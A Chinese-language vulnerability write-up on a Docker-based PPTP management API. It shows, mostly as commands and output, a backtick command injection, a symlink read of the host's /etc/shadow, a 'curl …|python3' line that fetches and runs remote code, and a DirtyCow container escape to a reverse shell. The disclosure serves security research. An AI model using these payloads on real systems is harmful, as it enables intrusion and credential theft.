标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-423] 作者: 闲云野鸡 发表于: [2017-08-21] [2017-08-22]被用户:ecawen 修改过
本文共 [543] 位读者顶过
题目有些标题党了。这个漏洞是我在测试 biligame 是发现的,此程序监听在 8081 端口,是一个管理 PPTP 的 Web Interface。首先,通过黑盒测试,发现存在一个在 Docker 容器内的命令执行,接着通过 banner 搜索,在 Github 上找到源代码,通过阅读源码,实现了 Docker 容器外的文件读取,最后通过 DirtyCow 来逃逸 Docker。[出自:jiwo.org] RCE
访问目标站,很贴心的列出了 endpoints: 列出 VPN: bash-3.2$ curl target:8081/tunnels 2> /dev/null | jq [ { "status": "INITIAL", "external": null, "local": "172.17.0.2", "dns1": null, "tunnel_ip": null, "user": "[...]", "server": "[...]", "id": "[...]", "dns2": null, "port": [...] }, ... ] 添加 VPN: bash-3.2$ curl target:8081/tunnel --data "" 通过报错显示出需要的参数:name、server、user、pass、port。 删除 VPN: bash-3.2$ curl -XDELETE target:8081/tunnel/test test 边缘测试,显示报错信息: bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555" {"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555} bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555" {"Err":"docker: Error response from daemon: Conflict. The name \"/test\" is already in use by container 1dfabf508870215bb0592e6a8666bd47498157ed631baf54d54cbb0ecf5dcc4b. You have to remove (or rename) that container to be able to reuse that name..\nSee 'docker run --help'.\n"}
发现是 Docker 的报错信息,而且根据回显,推测是后端直接调用 Docker 命令。 bash-3.2$ curl -XDELETE target:8081/tunnel/\`a\`test 接着我测试在添加 VPN 出的命令注入,不出所料,存在: bash-3.2$ curl target:8081/tunnel --data "name=test&server=\`whoami\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555" {"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}
bash-3.2$ curl target:8081/tunnel --data "name=test&server=\`ls%20/.docker*\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555" {"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}
文件读取
通过搜索 banner,我找到了这个网站的源代码:https://github.com/bearice/tunnel-manager/blob/master/src/API.hs。 tunnelLogs :: String -> IO String tunnelLogs name = do let path = flags_dataDir name <.> "log" sh $ "tail " ++ escape path ... get "/tunnel/:name/logs" $ do name <- param "name" logs <- liftIO $ tunnelLogs name text $ L.pack logs 在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候: tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo) tunnelCreate "" _ _ _ _ = return $ Left "Name must not be empty" tunnelCreate _ "" _ _ _ = return $ Left "Server must not be empty" tunnelCreate name server user pass port = do let n = escape name let portDef = case port of Just p -> "-p "++p++":3128" Nothing -> "-p 3128" r <- shExJoin ["docker run -d --restart=always" ,"--device /dev/ppp" ,"--cap-add=net_admin" ,"--name",n,"-h",n ,"-v "++flags_dataDir++":/data", portDef, flags_image ,"/init.sh ", escapeMany [server,user,pass] ] case r of Left err -> return $ Left err Right _ -> tunnelInfo name 注意这一行: ,"-v "++flags_dataDir++":/data", portDef, flags_image
由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。 root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log ln -s /etc/shadow fff.log 接着访问 logs: bash-3.2$ curl target:8081/tunnel/fff/logs nobody:*:16176:0:99999:7::: libuuid:!:16176:0:99999:7::: syslog:*:16176:0:99999:7::: messagebus:*:16179:0:99999:7::: landscape:*:16179:0:99999:7::: sshd:*:16179:0:99999:7::: ubuntu:$6$7yyw0fAK$[...]5.Urq81:17134:0:99999:7::: ntp:*:16179:0:99999:7::: dnsmasq:*:16179:0:99999:7::: colord:*:16179:0:99999:7::: Bingo,至此通过 Docker 配合 API 的文件读取完成。 Escape!
但是,满足吗? root@fff2:/data# uname -a Linux fff2 3.13.0-88-generic #135-Ubuntu SMP Wed Jun 8 21:10:42 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
内核更新时间是 2016 年 6 月,而 DirtyCow 是在 2016 年 10 月,感觉看到了希望。
调用 API 后,Docker 运行的是 ppp 命令,在超过超时时间后,就会断开 shell。由于需要编译 payload,那么必须安装 gcc 以及 make,但是时间超过了超时时间。 root@fff2:/data# cat /init.sh #!/bin/bash curl ricterz.me:8080/|python3 接着: bash-3.2$ curl target:8081/tunnel/fff2/down ... bash-3.2$ curl target:8081/tunnel/fff2/up 安装好 gcc、nasm、make 后,编译 payload 运行失败。 root@fff2:/data/dirtycow-vdso-master# ./0xdeadbeef 172.17.0.8:1234 [*] payload target: 172.17.0.8:1234 [-] failed to patch payload's ip 虽然不知道发生了什么,但是我有一种感觉,就是 exp 作者更新了版本导致 exp 挂掉。于是我下载了老版本的 exp,编译后成功获得 shell: # git clone https://github.com/scumjr/dirtycow-vdso/ Cloning into 'dirtycow-vdso'... remote: Counting objects: 99, done. remote: Total 99 (delta 0), reused 0 (delta 0), pack-reused 99 Unpacking objects: 100% (99/99), done. Checking connectivity... done. # cd dirtycow-vdso # git reset --hard ef252dee4784758a494b4286e5ff1dac26e57c7d HEAD is now at ef252de add another prologue # sed -i 's/0x0100007f/0x80011ac/g' payload.s # make make nasm -f bin -o payload payload.s xxd -i payload payload.h cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall cc -o 0xdeadbeef 0xdeadbeef.o -lpthread # ./0xdeadbeef [*] exploit: patch 1/2 [*] vdso successfully backdoored [*] exploit: patch 2/2 [*] vdso successfully backdoored [*] waiting for reverse connect shell... [*] enjoy! [*] restore: patch 2/2 ifconfig docker0 Link encap:Ethernet HWaddr [...] inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0 ... eth0 Link encap:Ethernet HWaddr [...] inet addr:10.10.177.79 Bcast:10.10.255.255 Mask:255.255.0.0 ... 至此,逃逸成功。
|